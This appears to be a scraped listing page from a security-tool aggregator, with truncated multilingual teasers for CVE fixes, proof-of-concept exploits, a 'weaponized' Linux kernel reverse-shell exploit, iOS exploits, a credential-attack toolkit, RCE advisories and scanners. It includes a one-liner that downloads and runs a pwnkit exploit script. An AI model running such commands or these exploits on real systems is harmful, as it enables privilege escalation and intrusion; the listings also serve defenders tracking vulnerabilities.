fix-cve-2026-3143

fix-cve-2026-3143 Diagnostics and remediation for CVE-2026-31431 copy fail Installation Copy the installation script to the clipboard and run it in the command line root@kitploit: sudo apt install git && cd && git clone https://github.com/ClimbMunchkin/fix-cve-2026-3143.git fix-cve-2026-3143 &&...

almalinux-fix-cve-2026-31431

CVE-2026-31431 algifaead و Dirty Frag CVE-2026-43284 إصلاح الثغرة الأمنية يقوم بتحديث النظام لإغلاق الثغرة الأمنية CVE-2026-31431 algifaead و Dirty Frag CVE-2026-43284 الموجودة في نواة Linux، ويجعل إصدار النواة الآمن هو الافتراضي تلقائيًا. English: This script automatically mitigates the...

poc-cve-2021-4034

poc-cve-2021-4034 PoC for CVE-2021-4034 dubbed pwnkit How to use just run make make then check release folder or if you prefer the one liner sh -c "$curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh" Enjoy root@kitploit:...

poc-cve-2021-4034

poc-cve-2021-4034 PoC para CVE-2021-4034 denominado pwnkit Cómo usar solo ejecuta make make y luego revisa la carpeta release o si prefieres el comando de una línea sh -c "$curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh" Disfruta root@kitploit:...

Exploit for Out-of-bounds Read in Apple Ipados

CVE-2026-65349 — getattrlist OOB Write in vfsattrpackinter...

Exploit for Improper Restriction of Operations within the Bounds of a Memory Buffer in Apple Ipados

CVE-2026-65330 — tmpfs setxattr PAC Bypass Component: XNU...

Exploit for Improper Restriction of Operations within the Bounds of a Memory Buffer in Apple Ipados

CVE-2026-64788 — IOGPUFamily Use-After-Free Component: IO...

credential-attacks-toolkit — Updated!

CredAttack — Credential Attacks Toolkit ⚠️ LEGAL NOTICE — Authorised security testing ONLY. Using this tool against systems you do not own or have explicit written permission to test is illegal under the Computer Fraud and Abuse Act US, Computer Misuse Act UK, and equivalent laws worldwide. See...

CVE-2026-31431-REVSHELL

root@kitploit: █▀▀ ▄▀█ █ █ █▀█ █▀█ █▀█ ▀█▀ █▀░ █▀█ █ █▄▄ █▀▄ █▄█ █▄█ ░█░ CVE-2026-31431 • Linux Kernel LPE → Root Reverse Shell Overview FailRoot is a weaponized exploit for CVE-2026-31431 — an out-of-bounds write in the Linux kernel's crypto: algifaead subsystem. It chains a privilege escalation...

CVE-2026-22679

CVE-2026-22679: ثغرة تنفيذ كود عن بُعد غير مصادق عليها في Weaver E-cology عبر نقطة تصحيح dubboApi -critical TL;DR يحتوي Weaver E-cology 10.0 قبل الإصدار 20260312 على ثغرة حرجة لتنفيذ كود عن بُعد غير مصادق عليها في نقطة النهاية /papi/esearch/data/devops/dubboApi/debug/method. يمكن للمهاجمين حقن...

Allocation of Resources Without Limits or Throttling

Overview golang.org/x/crypto/ssh is a SSH client and server Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in its connection multiplexing, reached through Dial, NewClientConn, NewControlClientConn, and NewServerConn, which buffers unhandle...

Allocation of Resources Without Limits or Throttling

Overview golang.org/x/crypto/ssh is a SSH client and server Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the connection multiplexer's channel handling the mux chanList, reached through Dial, NewClientConn, NewControlClientConn, and...

Allocation of Resources Without Limits or Throttling

Overview github.com/golang/crypto/ssh is a SSH client and server Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in its connection multiplexing, reached through Dial, NewClientConn, NewControlClientConn, and NewServerConn, which buffers...

Allocation of Resources Without Limits or Throttling

Overview github.com/golang/crypto/ssh is a SSH client and server Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the connection multiplexer's channel handling the mux chanList, reached through Dial, NewClientConn, NewControlClientConn, a...

F9360-CVE43499

SM-F9360 Galaxy Z Fold4 / q4q 免解锁 Bootloader KernelSU Root CVE-2026-43499 临时 root → LDPRELOAD 通道绕过 DEFEX → 无 LTO clang-12 版 kernelsu.ko → su + KernelSU Manager 全功能 状态：✅ 2026-08-12 真机验证达成 （固件 F9360ZCSAIZF1，内核 5.10.236-android12-9-2755199-abF9360ZCSAIZF1） 本项目记录在 Bootloader 锁定 的三星设备上达成 KernelSU root...

CVE-2026-44402

CVE-2026-44402 Ejecución remota de comandos completa preautenticada en Voltronic Power SNMP Web Pro 1.1 Contenido Proveedor afectado: https://voltronicpower.com/ Producto afectado: SNMP Web Pro 1.1 SNMP Web Pro 1.1 contiene una vulnerabilidad de ejecución remota de código no autenticada en el...

CVE-2026-31431

Copy Fail CVE-2026-31431 - توثيق شامل 1. نظرة عامة على الثغرة اسم الثغرة: Copy Fail معرّف CVE: CVE-2026-31431 اكتُشفت بواسطة / المؤلفون: فريق أبحاث Xint Code بناءً على الأبحاث التأسيسية الأولية للباحث Theori تايونغ لي. "Copy Fail" هي ثغرة منطقية حرجة في قالب التشفير authencesn في نواة لينكس. تسمح...

CVE-2026-31431-cleaned

copyFail.py — CVE Exploit Analysis Report Summary copyFail.py is a proof-of-concept PoC exploit that demonstrates a local privilege escalation vulnerability in the Linux kernel. By abusing the splice system call in combination with crafted socket options, the exploit gains the ability to corrupt...

trufflehog v3.97.2

TruffleHog Find leaked credentials. 🔎 Now Scanning ...and more To learn more about TruffleHog and its features and capabilities, visit our product page. 🌐 TruffleHog Enterprise Are you interested in continuously monitoring Git, Jira, Slack, Confluence, Microsoft Teams, Sharepoint and more for...

CVE-2026-32710

CVE-2026-32710 Heap buffer overflow in MariaDBJSONSCHEMAVALID → persistent privilege escalation → UDF RCE | ---|--- Affected| MariaDB 11.4.x confirmed on 11.4.9 Bug| OOB write in jsongetnormalizedstring — strncpy into 128-byte DYNAMICSTRING with no bounds check Impact| SELECT-only user → ALL...